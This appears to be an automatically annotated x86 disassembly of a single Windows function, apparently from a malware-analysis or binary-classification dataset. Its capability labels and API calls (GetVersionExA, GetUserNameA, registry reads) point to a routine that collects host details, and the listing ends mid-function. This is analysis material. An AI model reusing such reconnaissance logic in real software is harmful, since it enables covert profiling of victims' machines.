Function at 0x407a5c
Capabilities:
Check os version
Get common file path
Get disk information
Get disk size
Get geographical location
Get hostname
Get keyboard layout
Get session user name
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xc2
push 0
push 0
dec ecx
jne 0x407a64
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x408c15
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040371c
mov eax, 0x416b14
mov edx, 0x408c2c
call fcn.00403770
mov dword [ebp - 0xe4], 0x94
lea eax, [ebp - 0xe4]
push eax
call sub.kernel32.dll_GetVersionExA
mov esi, dword [ebp - 0xd4]
cmp esi, 2
jne 0x407ac5
lea eax, [ebp - 0xc]
mov edx, 0x408ca0
call fcn.004037b4
jmp 0x407ae9
mov eax, esi
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x59c]
call fcn.00405370
mov ecx, dword [ebp - 0x59c]
lea eax, [ebp - 0xc]
mov edx, 0x408cbc
call fcn.004038e0
cmp byte [0x416b4c], 0
je 0x407b01
lea eax, [ebp - 8]
mov edx, 0x408cd8
call fcn.004037b4
jmp 0x407b0e
lea eax, [ebp - 8]
mov edx, 0x408ce8
call fcn.004037b4
mov eax, dword [ebp - 0xe0]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a0]
call fcn.00405370
push dword [ebp - 0x5a0]
push 0x408cf8
mov eax, dword [ebp - 0xdc]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a4]
call fcn.00405370
push dword [ebp - 0x5a4]
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x10]
mov edx, 0x408d04
call fcn.004039e0
jne 0x407b72
lea eax, [ebp - 8]
mov edx, 0x408d10
call fcn.004037b4
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0xd0]
mov ecx, 0x80
call fcn.0040387c
mov eax, dword [ebp - 0x1c]
mov edx, 0x408d20
call fcn.004039e0
jne 0x407ba3
lea eax, [ebp - 0x1c]
mov edx, 0x408d38
call fcn.004037b4
jmp 0x407bfb
mov eax, dword [ebp - 0x1c]
mov edx, 0x408d44
call fcn.004039e0
jne 0x407bc1
lea eax, [ebp - 0x1c]
mov edx, 0x408d5c
call fcn.004037b4
jmp 0x407bfb
mov eax, dword [ebp - 0x1c]
mov edx, 0x408d68
call fcn.004039e0
jne 0x407bdf
lea eax, [ebp - 0x1c]
mov edx, 0x408d80
call fcn.004037b4
jmp 0x407bfb
mov eax, dword [ebp - 0x1c]
mov edx, 0x408d8c
call fcn.004039e0
jne 0x407bfb
lea eax, [ebp - 0x1c]
mov edx, 0x408da4
call fcn.004037b4
mov eax, dword [ebp - 0xd8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x5a8]
call fcn.00405370
mov ecx, dword [ebp - 0x5a8]
lea eax, [ebp - 0x14]
mov edx, 0x408db0
call fcn.004038e0
push dword [ebp - 8]
push 0x408dc0
push dword [ebp - 0x10]
push 0x408dcc
push dword [ebp - 0x1c]
push 0x408dcc
push dword [ebp - 0x14]
push 0x408dcc
lea eax, [ebp - 0x18]
mov edx, 8
call fcn.00403954
push 0x408dd8
push dword [ebp - 0xc]
push 0x408dd8
push dword [ebp - 8]
push 0x408dc0
push dword [ebp - 0x10]
push 0x408dd8
push dword [ebp - 0x14]
push 0x408dd8
push dword [ebp - 0x1c]
push 0x408dd8
push 0x408de4
push dword [0x416adc]
push 0x408df8
push 0x408dd8
mov eax, ebx
mov edx, 0xf
call fcn.00403954
push 0xfa
lea eax, [ebp - 0x577]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push dword [ebx]
push 0x408e04
lea eax, [ebp - 0x5ac]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5ac]
push 0x408dd8
mov eax, ebx
mov edx, 4
call fcn.00403954
mov eax, dword [0x4151fc]
push eax
push 0x400
lea eax, [ebp - 8]
push eax
mov ecx, 0x408e18
mov edx, 0x408e2c
mov eax, 0x80000001
call fcn.00406770
push dword [ebx]
push 0x408e50
push dword [ebp - 8]
push 0x408dd8
mov eax, ebx
mov edx, 4
call fcn.00403954
push dword [ebp - 0x18]
push dword [ebp - 8]
push 0x408dcc
lea eax, [ebp - 0x18]
mov edx, 3
call fcn.00403954
push dword [ebx]
push 0x408e64
push dword [0x416ad8]
push 0x408dd8
mov eax, ebx
mov edx, 4
call fcn.00403954
push dword [ebp - 0x18]
push 0x408e7c
push dword [0x416ad8]
push 0x408dcc
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
mov eax, 0x416b14
mov edx, 0x408e8c
call fcn.00403770
mov dword [ebp - 0x4c], 0x32
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x577]
push eax
call sub.advapi32.dll_GetUserNameA
push dword [ebx]
push 0x408edc
lea eax, [ebp - 0x5b0]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5b0]
push 0x408dd8
mov eax, ebx
mov edx, 4
call fcn.00403954
push dword [ebp - 0x18]
push 0x408ef0
lea eax, [ebp - 0x5b4]
lea edx, [ebp - 0x577]
mov ecx, 0xfb
call fcn.0040387c
push dword [ebp - 0x5b4]
push 0x408dcc
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
lea eax, [ebp - 8]
mov edx, 0x408f00
call fcn.004037b4
lea eax, [ebp - 0xc]
mov ecx, 0x408f24
mov edx, dword [ebp - 8]
call fcn.004038e0
mov eax, dword [0x4151fc]
push eax
mov ecx, 0x408f40
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.004066bc
lea edx, [ebp - 0x10]
call fcn.00405350
push dword [ebp - 0x18]
push 0x408f50
push dword [ebp - 0x10]
push 0x408dcc
lea eax, [ebp - 0x18]
mov edx, 4
call fcn.00403954
push dword [ebx]
push 0x408f60
push 0x408f6c
push dword [ebp - 0x10]
push 0x408f7c
push 0x408dd8
push 0x408f8c
mov eax, dword [0x4151fc]
push eax
push 0x400
lea eax, [ebp - 0x5b8]
push eax
mov ecx, 0x408fa8
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406770
push dword [ebp - 0x5b8]
push 0x408dd8
push 0x408fc4
mov eax, dword [0x4151fc]
push eax
push 0x400
lea eax, [ebp - 0x5bc]
push eax
mov ecx, 0x408fdc
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406770
push dword [ebp - 0x5bc]
push 0x408dd8
push 0x408ff0
mov eax, dword [0x4151fc]
push eax
push 0x400
lea eax, [ebp - 0x5c0]
push eax
mov ecx, 0x409004
mov edx, dword [ebp - 0xc]
mov eax, 0x80000002
call fcn.00406770
push dword [ebp - 0x5c0]
push 0x408dd8
push 0x409020
mov eax, dword [0x4151fc]
push eax
push 0x400
lea eax, [ebp - 0x5c4]
push eax
mov ecx, 0x409038
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406770
push dword [ebp - 0x5c4]
push 0x408dd8
push 0x409054
mov eax, dword [0x4151fc]
push eax
push 0x400
lea eax, [ebp - 0x5c8]
push eax
mov ecx, 0x409068
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406770
push dword [ebp - 0x5c8]
push 0x408dd8
push 0x409080
mov eax, dword [0x4151fc]
push eax
push 0x400
lea eax, [ebp - 0x5cc]
push eax
mov ecx, 0x4090a0
mov edx, dword [ebp - 8]
mov eax, 0x80000002
call fcn.00406770
push dword [ebp - 0x5cc]
push 0x408dd8